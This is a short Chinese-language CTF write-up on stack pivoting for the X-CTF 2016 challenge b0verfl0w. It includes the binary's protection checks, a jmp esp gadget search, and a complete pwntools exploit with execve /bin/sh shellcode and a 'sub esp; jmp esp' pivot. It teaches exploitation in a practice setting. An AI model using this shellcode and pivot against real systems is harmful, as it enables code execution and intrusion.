stack pivoting
花式栈溢出技巧 - CTF Wiki (ctf-wiki.org)
该方法主要针对难以直接构造较长的ROP,而我们可以找到一块可以自己控制的地址空间,通过劫持sp指针,改变程序流到我们所需的地址空间上,执行目标代码
针对X-CTF Quals 2016 - b0verfl0w这个题目
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
可以看到栈上可以执行
危险函数为fget,限制长度为0x32,输入到EBP的距离为0x20,所以可以输入ROP的地址只剩下0x32-0x20-4=14个字节。
这道题正好符合能写ROP的长度较短,但是栈上可以执行。
ROPgadget --binary b0verfl0w --only 'jmp|ret' | grep esp
0x08048504 : jmp esp
找到jmp esp,那么就可以把控制流转移到栈上面。
构造的payload如下:
exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# buffer length:0x20
# input length limit:50
# 0x08048504 : jmp esp
sh = process('./b0verfl0w')
file = ELF('./b0verfl0w')
# gdb.attach(sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode.ljust(0x20, b'a') + b'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
# libc_start_main_addr = u32(sh.recv()[0:4])
# print ("get the related addr of libc_start_main_got is " + hex(libc_start_main_addr))